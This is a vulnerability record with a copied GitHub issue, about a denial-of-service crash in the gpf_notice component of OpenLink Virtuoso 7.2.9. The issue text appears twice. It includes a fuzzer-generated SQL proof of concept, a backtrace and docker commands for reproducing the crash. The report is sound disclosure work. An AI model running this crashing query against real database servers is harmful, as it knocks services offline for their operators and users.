An issue in the gpf_notice component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*
75FD7F91-D201-4286-8F97-D2D1C7C9D4C3
OR
**This crash seems can only be reproduced when compiling virtuoso with --with-debug.**
**When using the docker container, the SQL statement will strangely make the client shell STUCK, but will not crash the server.**

The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t4 (
  a VARCHAR,
  b VARCHAR
);
SELECT MIN(b), MIN(b) FROM t4;
```
backtrace:
```c
#0 0xe10319 (gpf_notice+0x209)
#1 0xdf7866 (print_object2+0x916)
#2 0x81c0e6 (select_node_input_vec+0x546)
#3 0x7b7a77 (select_node_input+0xa7)
#4 0x7ac43e (qn_input+0x3ce)
#5 0x7ac8a6 (qn_send_output+0x236)
#6 0x7ac43e (qn_input+0x3ce)
#7 0x7ac8a6 (qn_send_output+0x236)
#8 0x81e26d (set_ctr_vec_input+0x94d)
#9 0x7ac43e (qn_input+0x3ce)
#10 0x7bdc6e (qr_exec+0x11ee)
#11 0x7cb446 (sf_sql_execute+0x11a6)
#12 0x7cbf4e (sf_sql_execute_w+0x17e)
#13 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#14 0xe1f01c (future_wrapper+0x3fc)
#15 0xe2691e (_thread_boot+0x11e)
#16 0x7f02b43b7609 (start_thread+0xd9)
#17 0x7f02b4187133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at gpf_notice
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at gpf_notice
Issue date:

--- start body ---
**This crash seems can only be reproduced when compiling virtuoso with --with-debug.**
**When using the docker container, the SQL statement will strangely make the client shell STUCK, but will not crash the server.**

The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t4 (
  a VARCHAR,
  b VARCHAR
);
SELECT MIN(b), MIN(b) FROM t4;
```
backtrace:
```c
#0 0xe10319 (gpf_notice+0x209)
#1 0xdf7866 (print_object2+0x916)
#2 0x81c0e6 (select_node_input_vec+0x546)
#3 0x7b7a77 (select_node_input+0xa7)
#4 0x7ac43e (qn_input+0x3ce)
#5 0x7ac8a6 (qn_send_output+0x236)
#6 0x7ac43e (qn_input+0x3ce)
#7 0x7ac8a6 (qn_send_output+0x236)
#8 0x81e26d (set_ctr_vec_input+0x94d)
#9 0x7ac43e (qn_input+0x3ce)
#10 0x7bdc6e (qr_exec+0x11ee)
#11 0x7cb446 (sf_sql_execute+0x11a6)
#12 0x7cbf4e (sf_sql_execute_w+0x17e)
#13 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#14 0xe1f01c (future_wrapper+0x3fc)
#15 0xe2691e (_thread_boot+0x11e)
#16 0x7f02b43b7609 (start_thread+0xd9)
#17 0x7f02b4187133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---

comments :
--- start comments ---

--- end comments ---